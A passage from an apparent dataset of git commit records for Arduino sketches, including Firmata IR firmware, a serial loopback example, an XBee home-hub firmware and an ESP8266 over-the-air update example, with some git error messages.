DUE_TIMER_VAL) > (T2+T3+6));\n \/\/ *FastPin<FIRST_PIN>::cport() = (~b2.bytes[7-i]) & PORT_MASK;\n *mycport = ~bytes[] & PORT_MASK;\n\n while((next_mark - (DUE_TIMER_VAL)) > T3);\n \/\/*FastPin<FIRST_PIN>::cport() = PORT_MASK;\n *mycport = PORT_MASK;\n\n \/\/ b3.bytes[i] = pixels.template loadAndScale<PX>(pixels,i,d,scale);\n }\n\n \/\/ this just writes the unused lanes, we use them all so ignore\n \/\/ for(uint32_t i = LANES; i < 8; i++) {\n \/\/ while(DUE_TIMER_VAL > next_mark);\n\n \/\/ next_mark = DUE_TIMER_VAL - (TOTAL-3);\n \/\/ *FastPin<FIRST_PIN>::sport() = PORT_MASK;\n\n \/\/ while((next_mark - DUE_TIMER_VAL) > (T2+T3+6));\n \/\/ *FastPin<FIRST_PIN>::cport() = (~b2.bytes[7-i]) & PORT_MASK;\n\n \/\/ while((next_mark - DUE_TIMER_VAL) > T3);\n \/\/ *FastPin<FIRST_PIN>::cport() = PORT_MASK;\n \/\/ }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TestPrograms\/neotest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cf2e3d9a330be1488e7bf882405a9b5c54a4bb5c","subject":"add IRRAW send\/receiver","message":"add IRRAW send\/receiver\n","repos":"webduinoio\/wafirmata","old_file":"waFirmata_IR.ino","new_file":"waFirmata_IR.ino","new_contents":"\/\/Burn-Key 5O7D\n#include <Firmata.h>\n\n#define RST_PIN 9\n#define SS_PIN 10\n\n\/\/ the minimum interval for sampling analog input\n#define MINIMUM_SAMPLING_INTERVAL 10\n\/\/ pin configured to be ignored by digitalWrite and capabilityResponse\n#define PIN_MODE_IGNORE 0x7F\n\n\n\/*==============================================================================\n GLOBAL VARIABLES\n ============================================================================*\/\n#define MAXPULSE 65000\n#define RESOLUTION 20\nuint16_t pulsesStartPos = 0, pulsesEndPos;\nconst uint16_t pulsesSize = 250;\nuint16_t pulses[pulsesSize][2];\n\n\/* analog inputs *\/\nint analogInputsToReport = 0; \/\/ bitwise array to store pin reporting\n\n\/* digital input ports *\/\nbyte reportPINs[TOTAL_PORTS]; \/\/ 1 = report this port, 0 = silence\nbyte previousPINs[TOTAL_PORTS]; \/\/ previous 8 bits sent\n\n\/* pins configuration *\/\nbyte pinConfig[TOTAL_PINS]; \/\/ configuration of every pin\nbyte portConfigInputs[TOTAL_PORTS]; \/\/ each bit: 1 = pin in INPUT, 0 = anything else\nint pinState[TOTAL_PINS]; \/\/ any value that has been written\n\n\/* timer variables *\/\nunsigned long currentMillis; \/\/ store the current value from millis()\nunsigned long previousMillis; \/\/ for comparison with currentMillis\nunsigned int samplingInterval = 19; \/\/ how often to run the main loop (in ms)\n\nsigned char queryIndex = -1;\n\/\/ default delay time between i2c read request and Wire.requestFrom()\nunsigned int i2cReadDelayTime = 0;\n\nboolean isResetting = false;\n\n\n\/*==============================================================================\n FUNCTIONS\n ============================================================================*\/\n\nvoid readAndReportData(byte address, int theRegister, byte numBytes) {\n theRegister = 0; \/\/ fill the register with a dummy value\n}\n\nvoid outputPort(byte portNumber, byte portValue, byte forceSend)\n{\n \/\/ pins not configured as INPUT are cleared to zeros\n portValue = portValue & portConfigInputs[portNumber];\n \/\/ only send if the value is different than previously sent\n if (forceSend || previousPINs[portNumber] != portValue) {\n Firmata.sendDigitalPort(portNumber, portValue);\n previousPINs[portNumber] = portValue;\n }\n}\n\n\/* -----------------------------------------------------------------------------\n check all the active digital inputs for change of state, then add any events\n to the Serial output queue using Serial.print() *\/\nvoid checkDigitalInputs(void)\n{\n \/* Using non-looping code allows constants to be given to readPort().\n The compiler will apply substantial optimizations if the inputs\n to readPort() are compile-time constants. *\/\n if (TOTAL_PORTS > 0 && reportPINs[0]) outputPort(0, readPort(0, portConfigInputs[0]), false);\n if (TOTAL_PORTS > 1 && reportPINs[1]) outputPort(1, readPort(1, portConfigInputs[1]), false);\n if (TOTAL_PORTS > 2 && reportPINs[2]) outputPort(2, readPort(2, portConfigInputs[2]), false);\n if (TOTAL_PORTS > 3 && reportPINs[3]) outputPort(3, readPort(3, portConfigInputs[3]), false);\n if (TOTAL_PORTS > 4 && reportPINs[4]) outputPort(4, readPort(4, portConfigInputs[4]), false);\n if (TOTAL_PORTS > 5 && reportPINs[5]) outputPort(5, readPort(5, portConfigInputs[5]), false);\n if (TOTAL_PORTS > 6 && reportPINs[6]) outputPort(6, readPort(6, portConfigInputs[6]), false);\n if (TOTAL_PORTS > 7 && reportPINs[7]) outputPort(7, readPort(7, portConfigInputs[7]), false);\n if (TOTAL_PORTS > 8 && reportPINs[8]) outputPort(8, readPort(8, portConfigInputs[8]), false);\n if (TOTAL_PORTS > 9 && reportPINs[9]) outputPort(9, readPort(9, portConfigInputs[9]), false);\n if (TOTAL_PORTS > 10 && reportPINs[10]) outputPort(10, readPort(10, portConfigInputs[10]), false);\n if (TOTAL_PORTS > 11 && reportPINs[11]) outputPort(11, readPort(11, portConfigInputs[11]), false);\n if (TOTAL_PORTS > 12 && reportPINs[12]) outputPort(12, readPort(12, portConfigInputs[12]), false);\n if (TOTAL_PORTS > 13 && reportPINs[13]) outputPort(13, readPort(13, portConfigInputs[13]), false);\n if (TOTAL_PORTS > 14 && reportPINs[14]) outputPort(14, readPort(14, portConfigInputs[14]), false);\n if (TOTAL_PORTS > 15 && reportPINs[15]) outputPort(15, readPort(15, portConfigInputs[15]), false);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets the pin mode to the correct state and sets the relevant bits in the\n two bit-arrays that track Digital I\/O and PWM status\n*\/\nvoid setPinModeCallback(byte pin, int mode)\n{\n if (pinConfig[pin] == IGNORE)\n return;\n\n if (IS_PIN_ANALOG(pin)) {\n reportAnalogCallback(PIN_TO_ANALOG(pin), mode == ANALOG ? 1 : 0); \/\/ turn on\/off reporting\n }\n if (IS_PIN_DIGITAL(pin)) {\n if (mode == INPUT) {\n portConfigInputs[pin \/ 8] |= (1 << (pin & 7));\n } else {\n portConfigInputs[pin \/ 8] &= ~(1 << (pin & 7));\n }\n }\n pinState[pin] = 0;\n switch (mode) {\n case ANALOG:\n if (IS_PIN_ANALOG(pin)) {\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n }\n pinConfig[pin] = ANALOG;\n }\n break;\n case INPUT:\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n pinConfig[pin] = INPUT;\n }\n break;\n case OUTPUT:\n if (IS_PIN_DIGITAL(pin)) {\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable PWM\n pinMode(PIN_TO_DIGITAL(pin), OUTPUT);\n pinConfig[pin] = OUTPUT;\n }\n break;\n case PWM:\n if (IS_PIN_PWM(pin)) {\n pinMode(PIN_TO_PWM(pin), OUTPUT);\n analogWrite(PIN_TO_PWM(pin), 0);\n pinConfig[pin] = PWM;\n }\n break;\n case I2C:\n if (IS_PIN_I2C(pin)) {\n \/\/ mark the pin as i2c\n \/\/ the user must call I2C_CONFIG to enable I2C for a device\n pinConfig[pin] = I2C;\n }\n break;\n default:\n Firmata.sendString(\"Unknown pin mode\"); \/\/ TODO: put error msgs in EEPROM\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid analogWriteCallback(byte pin, int value)\n{\n if (pin < TOTAL_PINS) {\n switch (pinConfig[pin]) {\n case PWM:\n if (IS_PIN_PWM(pin))\n analogWrite(PIN_TO_PWM(pin), value);\n pinState[pin] = value;\n break;\n }\n }\n}\n\nvoid digitalWriteCallback(byte port, int value)\n{\n byte pin, lastPin, mask = 1, pinWriteMask = 0;\n\n if (port < TOTAL_PORTS) {\n \/\/ create a mask of the pins on this port that are writable.\n lastPin = port * 8 + 8;\n if (lastPin > TOTAL_PINS) lastPin = TOTAL_PINS;\n for (pin = port * 8; pin < lastPin; pin++) {\n \/\/ do not disturb non-digital pins (eg, Rx & Tx)\n if (IS_PIN_DIGITAL(pin)) {\n \/\/ only write to OUTPUT and INPUT (enables pullup)\n \/\/ do not touch pins in PWM, ANALOG, SERVO or other modes\n if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) {\n pinWriteMask |= mask;\n pinState[pin] = ((byte)value & mask) ? 1 : 0;\n }\n }\n mask = mask << 1;\n }\n writePort(port, (byte)value, pinWriteMask);\n }\n}\n\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets bits in a bit array (int) to toggle the reporting of the analogIns\n*\/\n\/\/void FirmataClass::setAnalogPinReporting(byte pin, byte state) {\n\/\/}\nvoid reportAnalogCallback(byte analogPin, int value)\n{\n if (analogPin < TOTAL_ANALOG_PINS) {\n if (value == 0) {\n analogInputsToReport = analogInputsToReport & ~ (1 << analogPin);\n } else {\n analogInputsToReport = analogInputsToReport | (1 << analogPin);\n \/\/ prevent during system reset or all analog pin values will be reported\n \/\/ which may report noise for unconnected analog pins\n if (!isResetting) {\n \/\/ Send pin value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid reportDigitalCallback(byte port, int value)\n{\n if (port < TOTAL_PORTS) {\n reportPINs[port] = (byte)value;\n \/\/ Send port value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n if (value) outputPort(port, readPort(port, portConfigInputs[port]), true);\n }\n \/\/ do not disable analog reporting on these 8 pins, to allow some\n \/\/ pins used for digital, others analog. Instead, allow both types\n \/\/ of reporting to be enabled, but check if the pin is configured\n \/\/ as analog when sampling the analog inputs. Likewise, while\n \/\/ scanning digital pins, portConfigInputs will mask off values from any\n \/\/ pins configured as analog\n}\n\n\/*==============================================================================\n SYSEX-BASED commands\n ============================================================================*\/\n\nvoid pulseIR(byte pin, long microsecs) {\n cli();\n while (microsecs > 0) {\n digitalWrite(pin, HIGH);\n delayMicroseconds(10);\n digitalWrite(pin, LOW);\n delayMicroseconds(10);\n microsecs -= 26;\n }\n sei();\n}\n\nboolean readSignal(int IRpin, int state) {\n uint16_t readPulse = 0;\n while (digitalRead(IRpin) == state) {\n readPulse++;\n delayMicroseconds(RESOLUTION);\n if ((readPulse >= MAXPULSE) && (pulsesStartPos != 0)) {\n return false;\n }\n }\n pulses[pulsesStartPos][state] = readPulse;\n return true;\n}\n\nvoid sendPulses() {\n Firmata.write(START_SYSEX);\n Firmata.write(0x04);\n Firmata.write(0x09);\n Firmata.write(0x0D);\n for (uint8_t i = 0; i < pulsesEndPos; i++) {\n String strData = toHEX(pulses[i][1] * RESOLUTION);\n strData.concat(toHEX(pulses[i][0] * RESOLUTION));\n int strLen = strData.length();\n for (int i = 0; i < strLen; i++) {\n Firmata.write(strData.charAt(i));\n }\n }\n Firmata.write(END_SYSEX);\n}\n\nString toHEX(uint16_t i) {\n if (i < 0xF) {\n return \"000\" + String(i, HEX);\n } else if (i < 0xFF) {\n return \"00\" + String(i, HEX);\n } else if (i < 0xFFF) {\n return \"0\" + String(i, HEX);\n } else {\n return String(i, HEX);\n }\n}\n\nvoid sysexCallback(byte command, byte argc, byte *argv) {\n byte mode;\n byte slaveAddress;\n byte data;\n int slaveRegister;\n unsigned int delayTime;\n byte strLen;\n String strData;\n \/\/ir send\n byte codeType, bits;\n unsigned long sendCode = 0;\n switch (command) {\n case 4:\n switch (argv[0]) {\n case 7: \/\/Buzzer f004070b131805f7\n pinMode(argv[1], OUTPUT);\n tone(argv[1], (String(argv[2], HEX)).toInt() * 100 +\n (String(argv[3], HEX)).toInt(), argv[4] * 100);\n break;\n case 9: \/\/IRremote\n switch (argv[1]) {\n case 0x0A: \/\/ set & reset StartPos\n pulsesStartPos = fourChar2uint16((char*)argv, 2);\n break;\n case 0x0B: \/\/ store IR Data\n for (uint8_t i = 2; i < argc + 2; i = i + 8) {\n pulses[ pulsesStartPos + (i - 2) \/ 8][0] = fourChar2uint16((char*)argv, i); \/\/puseIR\n pulses[ pulsesStartPos + (i - 2) \/ 8][1] = fourChar2uint16((char*)argv, i + 4); \/\/delayTime\n }\n \/\/ fourChar2uint16\n pulsesEndPos = pulsesStartPos + (argc - 2) \/ 8;\n \/\/Firmata.sendString(String(pulsesEndPos, DEC).c_str());\n Firmata.write(START_SYSEX);\n Firmata.write(0x04);\n Firmata.write(0x09);\n Firmata.write(0x0B);\n Firmata.write(END_SYSEX);\n break;\n case 0x0C: \/\/ send IR pulse\n pinMode(argv[2], OUTPUT);\n strData = \"send IR signal...\";\n strData.concat(pulsesEndPos);\n \/\/Firmata.sendString(strData.c_str());\n for (uint16_t i = 0; i < pulsesEndPos; i++) {\n pulseIR(argv[2], pulses[i][0]);\n delayMicroseconds(pulses[i][1]);\n }\n Firmata.write(START_SYSEX);\n Firmata.write(0x04);\n Firmata.write(0x09);\n Firmata.write(0x0C);\n Firmata.write(END_SYSEX);\n break;\n case 0x0D:\n Firmata.sendString(\"wait IR signal...\");\n pinMode(argv[2], INPUT);\n while (true) {\n if (!readSignal(argv[2], 1) || !readSignal(argv[2], 0)) {\n String info = String(\"record:\");\n pulsesEndPos = pulsesStartPos + 1;\n info.concat(pulsesEndPos);\n \/\/Firmata.sendString(info.c_str());\n pulsesStartPos = 0;\n sendPulses();\n break;\n }\n pulsesStartPos++;\n }\n Firmata.sendString(\"wait IR signal...OK\");\n break;\n }\n break;\n }\n break;\n case SAMPLING_INTERVAL:\n if (argc > 1) {\n samplingInterval = argv[0] + (argv[1] << 7);\n if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) {\n samplingInterval = MINIMUM_SAMPLING_INTERVAL;\n }\n } else {\n \/\/Firmata.sendString(\"Not enough data\");\n }\n break;\n case EXTENDED_ANALOG:\n if (argc > 1) {\n int val = argv[1];\n if (argc > 2) val |= (argv[2] << 7);\n if (argc > 3) val |= (argv[3] << 14);\n analogWriteCallback(argv[0], val);\n }\n break;\n case CAPABILITY_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(CAPABILITY_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write((byte)INPUT);\n Firmata.write(1);\n Firmata.write((byte)OUTPUT);\n Firmata.write(1);\n }\n if (IS_PIN_ANALOG(pin)) {\n Firmata.write(ANALOG);\n Firmata.write(10); \/\/ 10 = 10-bit resolution\n }\n if (IS_PIN_PWM(pin)) {\n Firmata.write(PWM);\n Firmata.write(8); \/\/ 8 = 8-bit resolution\n }\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write(SERVO);\n Firmata.write(14);\n }\n if (IS_PIN_I2C(pin)) {\n Firmata.write(I2C);\n Firmata.write(1); \/\/ TODO: could assign a number to map to SCL or SDA\n }\n Firmata.write(127);\n }\n Firmata.write(END_SYSEX);\n break;\n case PIN_STATE_QUERY:\n if (argc > 0) {\n byte pin = argv[0];\n Firmata.write(START_SYSEX);\n Firmata.write(PIN_STATE_RESPONSE);\n Firmata.write(pin);\n if (pin < TOTAL_PINS) {\n Firmata.write((byte)pinConfig[pin]);\n Firmata.write((byte)pinState[pin] & 0x7F);\n if (pinState[pin] & 0xFF80) Firmata.write((byte)(pinState[pin] >> 7) & 0x7F);\n if (pinState[pin] & 0xC000) Firmata.write((byte)(pinState[pin] >> 14) & 0x7F);\n }\n Firmata.write(END_SYSEX);\n }\n break;\n case ANALOG_MAPPING_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(ANALOG_MAPPING_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n Firmata.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127);\n }\n Firmata.write(END_SYSEX);\n break;\n }\n}\n\n\n\/*==============================================================================\n SETUP()\n ============================================================================*\/\n\nvoid systemResetCallback()\n{\n isResetting = true;\n for (byte i = 0; i < TOTAL_PORTS; i++) {\n reportPINs[i] = false; \/\/ by default, reporting off\n portConfigInputs[i] = 0; \/\/ until activated\n previousPINs[i] = 0;\n }\n\n for (byte i = 0; i < TOTAL_PINS; i++) {\n \/\/ pins with analog capability default to analog input\n \/\/ otherwise, pins default to digital output\n if (IS_PIN_ANALOG(i)) {\n \/\/ turns off pullup, configures everything\n setPinModeCallback(i, ANALOG);\n } else {\n \/\/ sets the output to 0, configures portConfigInputs\n setPinModeCallback(i, OUTPUT);\n }\n }\n \/\/ by default, do not report any analog inputs\n analogInputsToReport = 0;\n\n\n \/* send digital inputs to set the initial state on the host computer,\n since once in the loop(), this firmware will only send on change *\/\n \/*\n TODO: this can never execute, since no pins default to digital input\n but it will be needed when\/if we support EEPROM stored config\n for (byte i=0; i < TOTAL_PORTS; i++) {\n outputPort(i, readPort(i, portConfigInputs[i]), true);\n }\n *\/\n isResetting = false;\n}\n\nvoid setup()\n{\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n\n Firmata.attach(ANALOG_MESSAGE, analogWriteCallback);\n Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback);\n Firmata.attach(REPORT_ANALOG, reportAnalogCallback);\n Firmata.attach(REPORT_DIGITAL, reportDigitalCallback);\n Firmata.attach(SET_PIN_MODE, setPinModeCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n\n \/\/ to use a port other than Serial, such as Serial1 on an Arduino Leonardo or Mega,\n \/\/ Call begin(baud) on the alternate serial port and pass it to Firmata to begin like this:\n \/\/ Serial1.begin(57600);\n \/\/ Firmata.begin(Serial1);\n \/\/ then comment out or remove lines 701 - 704 below\n\n Firmata.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Only needed for ATmega32u4-based boards (Leonardo, etc).\n }\n systemResetCallback(); \/\/ reset to default config\n}\n\n\/*==============================================================================\n LOOP()\n ============================================================================*\/\nvoid loop()\n{\n byte pin, analogPin;\n\n \/* DIGITALREAD - as fast as possible, check for changes and output them to the\n FTDI buffer using Serial.print() *\/\n checkDigitalInputs();\n \/* STREAMREAD - processing incoming messagse as soon as possible, while still\n checking digital inputs. *\/\n while (Firmata.available())\n Firmata.processInput();\n\n \/\/ TODO - ensure that Stream buffer doesn't go over 60 bytes\n\n currentMillis = millis();\n if (currentMillis - previousMillis > samplingInterval) {\n previousMillis += samplingInterval;\n \/* ANALOGREAD - do all analogReads() at the configured sampling interval *\/\n for (pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_ANALOG(pin) && pinConfig[pin] == ANALOG) {\n analogPin = PIN_TO_ANALOG(pin);\n if (analogInputsToReport & (1 << analogPin)) {\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n }\n}\n\nbyte asc2hex(byte * array) {\n byte b = 0;\n if (*array >= 0x41 && *array <= 0x66) {\n b = (*array & 0x0F) + 9 << 4;\n } else if (*array >= 0x30 && *array <= 0x39) {\n b = (*array - 0x30) << 4;\n }\n array++;\n if (*array >= 0x41 && *array <= 0x66) {\n b |= (*array & 0x0F) + 9;\n } else if (*array >= 0x30 && *array <= 0x39) {\n b |= (*array - 0x30);\n }\n return b;\n}\n\nuint16_t fourChar2uint16(char* x, uint16_t startPos) {\n uint16_t v = 0;\n uint16_t endPos = startPos + 4;\n for (uint16_t i = startPos; i < endPos ; i++) {\n uint16_t now = x[i] > 57 ? x[i] - 87 : x[i] - 48;\n v = v | now << ((startPos + 3 - i) << 2);\n }\n return v;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'waFirmata_IR.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c4fc4467464f29c5e4cf7e359d2b0ee5b2628fc8","subject":"Added serial loopback example","message":"Added serial loopback example\n","repos":"PunchThrough\/PunchThrough-BEAN-Arduino-Firmware,PunchThrough\/PunchThrough-BEAN-Arduino-Firmware,PunchThrough\/PunchThrough-BEAN-Arduino-Firmware","old_file":"examples\/LightBlueBean\/01.Basics\/SerialLoopback\/SerialLoopback.ino","new_file":"examples\/LightBlueBean\/01.Basics\/SerialLoopback\/SerialLoopback.ino","new_contents":"\/*\n Serial Loopback Test\n \n Reads all bytes on the serial input and sends them right\n back to the sender.\n\n This example code is in the public domain.\n *\/\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 57600 bits per second:\n Serial.begin(57600);\n \/\/ this makes it so that the arduino read function returns\n \/\/ immediatly if there are no less bytes than asked for.\n Serial.setTimeout(25);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n char buffer[64];\n size_t length = 64; \n \n length = Serial.readBytes(buffer, length); \n \/\/ Send back the value read\n \n \/\/ read an input pin\n if ( length > 0 )\n {\n Serial.write((uint8_t*)buffer, length); \n }\n \n Bean.sleep(25);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LightBlueBean\/01.Basics\/SerialLoopback\/SerialLoopback.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f25413d9cfc23de9f0b24d3033805e5d4b04e5ef","subject":"Updated WebServerAP example","message":"Updated WebServerAP example\n","repos":"PaoloP74\/WiFiESP,PaoloP74\/WiFiESP","old_file":"examples\/WebServerAP\/WebServerAP.ino","new_file":"examples\/WebServerAP\/WebServerAP.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PaoloP74\/WiFiESP.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"dff4485cf6e07ed1dcccf7056289daa016ecb8cf","subject":"First commit of the Hub formware","message":"First commit of the Hub formware","repos":"HouseWare\/TheHub,HouseWare\/TheHub","old_file":"package\/Hub.ino","new_file":"package\/Hub.ino","new_contents":"\/\/ HouseWare Hub Firmware\n\/\/ Created by Andrew Fugier\n\n\/\/ Includes\n#include <SoftwareSerial.h>\n\n\/\/ Common variables that chage\nconst char* VERSION = \"0.0.2\"; \/\/ version number\nconst int DELAY = 10; \/\/ loop delay\n\nSoftwareSerial mySerial = SoftwareSerial(2, 3); \/\/ XBee connected on pins D2 and D3\nchar str[20]; \/\/ used for most string operations - a single 20 byte memory segement\nchar out[20]; \/\/ buffer used for output storage\nint pDoor = 0; \/\/ state of the door\n\n\/* Sends the contents of out[] to the XBee and local Serial *\/\nvoid sendMsg(){\n Serial.println(out);\n mySerial.println(out);\n}\n\n\/* Firmware setup function *\/\nvoid setup() {\n Serial.begin(9600); \/\/ Local Serial Communications\n mySerial.begin(9600); \/\/ XBee Communications\n\n strcpy(out, \"Init HouseWare Hub\");\n sendMsg();\n\n pinMode(4, INPUT); \/\/ door pin\n pinMode(13, OUTPUT); \/\/ light pin \n}\n\n\/* Read a message from the XBee interface *\/\n\/* Specify a char array as well as the array size *\/\nint getMsg(char* m, int bsize){\n if (mySerial.available()) { \/\/ XBee has data\n int p = 0; \/\/ buffer pos\n while(mySerial.available()){ \/\/ Until buffer is empty\n if(mySerial.read() == '{'){ \/\/ Start of JSON data\n while(mySerial.peek() != '}' && p < bsize){ \/\/ until the end of JSON data\n m[p++]=mySerial.read(); \/\/ build the 'm' buffer\n }\n m[p++]=0; \/\/ null terminate the 'm' buffer\n }\n }\n return 1; \/\/ got a vailid message\n }\n return 0; \/\/ no valid message\n}\n\n\/* Process a givin JSON message *\/\n\/* Specify the char array *\/\nint processMsg(char* m){\n switch(m[1]){\n case 'r': \/\/ request\n switch(m[7]){\n case 'a':\n \/\/ TODO: code to return all sensor values\n break;\n default:\n \/\/ assume a pin xy (pin > 50, analog - eg, pin 54 is analog 04)\n int t = 0; \/\/ type: 0 -> Digital \/ 1 -> Analog\n int x = m[6] - '0';\n int y = m[7] - '0';\n int v = 0; \/\/ value: sensor value\n \n \/\/ determine if digital or analog pin\n if(x >= 5) {\n t = 1;\n x = x - 5;\n }\n int z = (x * 10) + y; \/\/ the pin orginally requested, in int form\n \n if(t == 0){ \/\/ digital read\n v = digitalRead(z);\n }\n else if(t == 1){ \/\/ analog read\n v = analogRead(z);\n }\n \n \/\/ Build and return JSON\n sprintf(out, \"{\\\"dat\\\":\\\"%i:%i\\\"}\", (t*50)+z, v);\n sendMsg();\n break;\n }\n return 0;\n break;\n \n case 's': \/\/ system\n switch(m[7]){\n case 'v': \/\/ get version\n strcpy(out, \"{\\\"dat\\\":\\\"v:\");\n strcat(out, VERSION);\n strcat(out, \"\\\"}\");\n sendMsg();\n break;\n case 'r': \/\/ reset system\n \/\/ TODO; Send notification of user reset\n asm volatile (\" jmp 0\"); \/\/ hack-ish was to reset\n break;\n }\n return 0;\n break;\n \n case 'd': \/\/ data\n return 0;\n break;\n \n case 'e': \/\/ error\n return 0;\n break;\n \n \/\/ undefined\n strcpy(out, \"{\\\"err\\\":001}\");\n sendMsg();\n return -1;\n }\n}\n\nvoid loop() {\n \/\/ check the door\n if(digitalRead(4) != pDoor){\n processMsg(\"\\\"req\\\":04\");\n pDoor = !pDoor;\n }\n \n \/\/ get and process messages\n if(getMsg(str, 20)){\n processMsg(str);\n }\n\n delay(DELAY);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'package\/Hub.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"42616f476c12d8dafc860f7535bcdf2847b704cd","subject":"playing with OTA","message":"playing with OTA\n","repos":"hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi","old_file":"ardesp\/ota\/ota.ino","new_file":"ardesp\/ota\/ota.ino","new_contents":"\/\/ basic OTA example, from\n\/\/ https:\/\/github.com\/esp8266\/Arduino\/tree\/master\/libraries\/ArduinoOTA\/examples\/BasicOTA\n\/\/ 23\/3\/17\n\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n\nconst char* ssid = \"guest\";\nconst char* password = \"...\";\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"Booting\");\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n while (WiFi.waitForConnectResult() != WL_CONNECTED) {\n Serial.println(\"Connection Failed! Rebooting...\");\n delay(5000);\n ESP.restart();\n }\n\n \/\/ Port defaults to 8266\n \/\/ ArduinoOTA.setPort(8266);\n\n \/\/ Hostname defaults to esp8266-[ChipID]\n \/\/ ArduinoOTA.setHostname(\"myesp8266\");\n\n \/\/ No authentication by default\n \/\/ ArduinoOTA.setPassword((const char *)\"123\");\n\n ArduinoOTA.onStart([]() {\n Serial.println(\"Start\");\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nEnd\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n ArduinoOTA.begin();\n Serial.println(\"Ready\");\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid loop() {\n ArduinoOTA.handle();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardesp\/ota\/ota.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"8de238d19f7d7e15f25cbf53ce0661650a6181c8","subject":"some small layout changes to Game Over and Info","message":"some small layout changes to Game Over and Info\n","repos":"TEAMarg\/ID-36-Trolly-Fish,TEAMarg\/ID-36-Trolly-Fish","old_file":"FISH_DEV\/FISH_DEV.ino","new_file":"FISH_DEV\/FISH_DEV.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-36-Trolly-Fish.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d47f87c80fa333221811b5d75c5f058136b157c6","subject":"Create MAIN_ARDUINO_MEGA.ino","message":"Create MAIN_ARDUINO_MEGA.ino","repos":"alienneo666\/Rob_Bat","old_file":"MAIN_ARDUINO_MEGA.ino","new_file":"MAIN_ARDUINO_MEGA.ino","new_contents":"\/*\n ********* AUTOR: ALIENNEO *********\n ********* DATE: 07\/05\/2013 ********\n *********** VERSION: 1.1 **********\n * ARDUINO MEGA, control de motores correcto. Falta modificar \n * el PID para mejorarlo **********\n*\/\n#include <Wire.h>\n\n#define DEBUG 1 \/\/#0 nada #1 #1\n#define MPU 0x68\n#define A_R 16384.0\n#define G_R 